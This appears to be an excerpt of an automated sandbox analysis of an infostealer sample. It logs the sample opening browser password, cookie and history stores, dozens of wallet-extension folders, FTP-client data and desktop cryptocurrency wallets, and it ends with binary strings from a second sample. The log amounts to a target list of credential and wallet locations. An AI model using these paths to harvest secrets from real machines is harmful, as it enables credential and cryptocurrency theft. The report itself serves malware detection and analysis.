Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB

Source: dc933f0ab5.exe	Binary or memory string: WIN_81
Source: dc933f0ab5.exe	Binary or memory string: WIN_XP
Source: dc933f0ab5.exe, 0000000B.00000000.2574170660.0000000000792000.00000002.00000001.01000000.0000000C.sdmp	Binary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_11WIN_10WIN_2022WIN_2019WIN_2016WIN_81WIN_2012R2WIN_2012WIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPInstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\AppearanceUSERPROFILEUSERDOMAINUSERDNSDOMAINGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubyte64HKEY_LOCAL_MACHINEHKLMHKEY_CLASSES_ROOTHKCRHKEY_CURRENT_CONFIGHKCCHKEY_CURRENT_USERHKCUHKEY_USERSHKUREG_EXPAND_SZREG_SZREG_MULTI_SZREG_DWORDREG_QWORDREG_BINARYRegDeleteKeyExWadvapi32.dll+.-.\\[\\nrt]\|%%\|%[-+ 0#]?([0-9]\|\)?(\.[0-9]\|\.\)?[hlL]?[diouxXeEfgGs](*UCP)\XISVISIBLEISENABLEDTABLEFTTABRIGHTCURRENTTABSHOWDROPDOWNHIDEDROPDOWNADDSTRINGDELSTRINGFINDSTRINGGETCOUNTSETCURRENTSELECTIONGETCURRENTSELECTIONSELECTSTRINGISCHECKEDCHECKUNCHECKGETSELECTEDGETLINECOUNTGETCURRENTLINEGETCURRENTCOLEDITPASTEGETLINESENDCOMMANDIDGETITEMCOUNTGETSUBITEMCOUNTGETTEXTGETSELECTEDCOUNTISSELECTEDSELECTALLSELECTCLEARSELECTINVERTDESELECTFINDITEMVIEWCHANGEGETTOTALCOUNTCOLLAPSEEXPANDmsctls_statusbar321tooltips_class32%d/%02d/%02dbuttonComboboxListboxSysDateTimePick32SysMonthCal32.icl.exe.dllMsctls_Progress32msctls_trackbar32SysAnimate32msctls_updown32SysTabControl32SysTreeView32SysListView32-----@GUI_DRAGID@GUI_DROPID@GUI_DRAGFILEError text not found (please report)Q\EDEFINEUTF16)UTF)UCP)NO_AUTO_POSSESS)NO_START_OPT)LIMIT_MATCH=LIMIT_RECURSION=CR)LF)CRLF)ANY)ANYCRLF)BSR_ANYCRLF)BSR_UNICODE)argument is not a compiled regular expressionargument not compiled in 16 bit modeinternal error: opcode not recognizedinternal error: missing capturing bracketfailed to get memory
